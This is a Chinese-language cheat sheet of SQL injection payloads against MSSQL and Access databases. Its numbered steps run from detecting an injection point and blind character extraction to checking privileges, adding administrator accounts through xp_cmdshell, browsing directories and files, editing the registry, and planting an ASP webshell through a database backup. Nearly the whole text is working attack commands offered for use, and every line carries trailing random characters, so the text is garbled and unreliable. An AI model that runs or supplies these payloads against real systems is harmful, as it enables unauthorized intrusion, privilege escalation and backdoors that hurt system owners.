1.判断是否有注入;and 1=1 ;and 1=2 ]L $\
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2.初步判断是否是mssql ;and user>0 gQg"j)
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3.注入参数是字符'and [查询条件] and ''=' t;Sb/ 3
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4.搜索时没过滤参数的'and [查询条件] and '%25'=' e7Z32P0ls
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5.判断数据库系统 Su7?;Oh/yI
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;and (select count(*) from sysobjects)>0 mssql S(I{NL}=$
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;and (select count(*) from msysobjects)>0 access .-c4wm}
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6.猜数据库 ;and (select Count(*) from [数据库名])>0 /QWvW=F2<
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7.猜字段 ;and (select Count(字段名) from 数据库名)>0 u@UMP@"#
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8.猜字段中记录长度 ;and (select top 1 len(字段名) from 数据库名)>0 VcO0sa f`
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9.(1)猜字段的ascii值(access) EStB#V^
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;and (select top 1 asc(mid(字段名,1,1)) from 数据库名)>0 mbxZL<ua
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(2)猜字段的ascii值(mssql) HGs $*
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;and (select top 1 unicode(substring(字段名,1,1)) from 数据库名)>0 D 6Ui!
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10.测试权限结构(mssql) @[<><uTH
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;and 1=(select IS_SRVROLEMEMBER('sysadmin'));-- m@2QnA[4
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;and 1=(select IS_SRVROLEMEMBER('serveradmin'));-- V)HG(k
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;and 1=(select IS_SRVROLEMEMBER('setupadmin'));-- Nho>f
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;and 1=(select IS_SRVROLEMEMBER('securityadmin'));-- #ym'AN
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;and 1=(select IS_SRVROLEMEMBER('diskadmin'));-- -`kW&I0
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;and 1=(select IS_SRVROLEMEMBER('bulkadmin'));-- vXf!G`D
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;and 1=(select IS_MEMBER('db_owner'));-- t ;;U}
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11.添加mssql和系统的帐户 QvlObEhcS
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;exec master.dbo.sp_addlogin username;-- l'-Bu(
;exec master.dbo.sp_password null,username,password;-- qFCOUl
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;exec master.dbo.sp_addsrvrolemember sysadmin username;-- wx=
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;exec master.dbo.xp_cmdshell 'net user username password *=/ { HvJ
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;exec master.dbo.xp_cmdshell 'net user username password /add';-- RUnSC OdX
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;exec master.dbo.xp_cmdshell 'net localgroup administrators username /add';-- Eex~xiiV
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12.(1)遍历目录 rxvx
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;create table dirs(paths varchar(100), id int) KK/tu+"
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;and (select top 1 paths from dirs where paths not in('上步得到的paths'))>) *e TqVG.
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(2)遍历目录 jjB~G^n
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;create table temp(id nvarchar(255),num1 nvarchar(255),num2 nvarchar(255),num3 nvarchar(255));-- PB\(=
;insert temp exec master.dbo.xp_availablemedia;-- 获得当前所有驱动器 `!;_ho
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;insert into temp(id) exec master.dbo.xp_subdirs 'c:\';-- 获得子目录列表 Xv5wJlc!d
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;insert into temp(id,num1) exec master.dbo.xp_dirtree 'c:\';-- 获得所有子目录的目录树构 r"gJX
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;insert into temp(id) exec master.dbo.xp_cmdshell 'type c:\web\index.asp';-- 查看文件的内容 p?%y82E
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13.mssql中的存储过程 36&e.3/#
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xp_regenumvalues 注册表根键, 子键 +aCv&sg
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;exec xp_regenumvalues 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Run' 以多个记录集方式返回所有键值 .GPT!lDc
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xp_regread 根键,子键,键值名 j|DsG,
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'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','CommonFilesDir' 返回制定键的值 [\98$BN
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xp_regwrite 根键,子键, 值名, 值类型, 值 (&Kk7<#`
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;exec xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestValueName','reg_sz','hello' 写入注册表 JQ_sUYh~3
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xp_regdeletevalue 根键,子键,值名 ~|DUt
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exec xp_regdeletevalue 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestValueName' 删除某个值 YlJ@XpKM
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xp_regdeletekey 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Testkey' 删除键,包括该键下所有值 $t'MSlF
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14.mssql的backup创建webshell ^qvZXb
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create table cmd(str image); ~f&E7su-6+
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insert into cmd(str) values (''); ONB{_X?
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backup database model to disk='c:\l.asp'; )Yh+c=6
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15.mssql内置函数 q5J5>
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;and (select @@version)>0 获得Windows的版本号 ,a{P4Bq
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;and user_name()='dbo' 判断当前系统的连接用户是不是sa 7JD' )
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;and (select user_name())>0 爆当前系统的连接用户 G/y5H;<9M
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;and (select db_name())>0 得到当前连接的数据库 ihhDO mUto
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16.简洁的webshell xk9%F?)
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use model T#T*Zw"+
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create table cmd(str image); 4B8oO
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insert into cmd(str) values (''); 5 9
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backup database model to disk='g:\wwwtest\l.asp';